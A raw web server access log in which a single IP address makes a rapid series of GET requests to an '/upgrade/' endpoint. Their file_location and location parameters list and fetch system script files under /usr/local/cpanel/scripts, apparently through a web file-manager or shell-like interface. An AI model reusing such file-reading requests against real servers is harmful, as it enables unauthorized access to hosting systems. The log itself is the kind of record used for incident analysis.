45.135.193.11 - - [11/Sep/2026:22:42:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frebuild_bandwidthdb_root_cache&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38342 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frebuild_bandwidthdb_root_cache&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcomet_license_registration_sync&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38541 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcomet_license_registration_sync&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_cpgreylistd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154501 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_cpgreylistd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_dovecot&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154314 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_dovecot&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_nscd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154239 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_nscd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcleanmsglog&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37537 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcleanmsglog&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fenable_spf_dkim_globally&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 41169 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fenable_spf_dkim_globally&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Feximconfgen&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38414 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Feximconfgen&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbuild_maxemails_config&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38350 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbuild_maxemails_config&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcpuser_service_manager&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 42173 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcpuser_service_manager&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffind_pids_with_inotify_watch_on_path&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39326 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffind_pids_with_inotify_watch_on_path&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmodsec_vendor&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 41805 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmodsec_vendor&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdatenow&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40074 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdatenow&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fftpquotacheck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40959 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fftpquotacheck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_httpd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154398 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_httpd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcleansessions&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39908 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcleansessions&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcphulkdblacklist&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37964 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcphulkdblacklist&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdnscluster&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38878 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdnscluster&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fperlinstaller&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38043 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fperlinstaller&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frebuildhttpdconf&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38651 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frebuildhttpdconf&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_postgresql&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154401 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_postgresql&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsendicq&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37877 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsendicq&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsmtpmailgidonly&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40812 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsmtpmailgidonly&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Funinstall_cpanel_analytics&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38329 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Funinstall_cpanel_analytics&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:39 -0400] "GET /upgrade/?full_path=%2Fusr%2Flocal%2Fcpanel%2Fscripts&location=%2Fusr%2Flocal%2F HTTP/1.1" 200 6577 "http://163.245.207.76:443/upgrade/?full_path=%2Fusr%2Flocal%2Fcpanel%2Fscripts&location=%2Fusr%2Flocal%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:39 -0400] "GET /upgrade/?location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2Fcpan_sandbox HTTP/1.1" 200 6085 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2Fcpan_sandbox" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2FMirrorSearch_pingtest&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38717 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2FMirrorSearch_pingtest&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffix_reseller_acls&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 41472 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffix_reseller_acls&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frebuilduserssldb&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38238 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frebuilduserssldb&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_xinetd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37871 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_xinetd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fget_locale_from_legacy_name_info&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38788 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fget_locale_from_legacy_name_info&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmailscannerupdate&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38923 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmailscannerupdate&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frebuild_provider_openid_connect_links_db&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38217 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frebuild_provider_openid_connect_links_db&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_bind&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154283 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_bind&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fset_mailman_archive_perms&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38651 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fset_mailman_archive_perms&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fconfigure_firewall_for_cpanel&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38019 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fconfigure_firewall_for_cpanel&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdnsqueuecron&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38385 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdnsqueuecron&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Finstall_dovecot_fts&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38608 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Finstall_dovecot_fts&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_sa_config&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38859 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_sa_config&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdatedomainips&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37898 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdatedomainips&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fgenerate_google_drive_credentials&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38291 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fgenerate_google_drive_credentials&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Finstall_cpanel_analytics&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38717 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Finstall_cpanel_analytics&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmass_change_php_setting&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 41525 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmass_change_php_setting&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fregenerate_tokens&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38942 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fregenerate_tokens&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_cpdavd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154434 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_cpdavd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_postgres&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37960 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_postgres&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fadd_dns&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38753 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fadd_dns&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcleanupmysqlprivs&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38009 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcleanupmysqlprivs&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
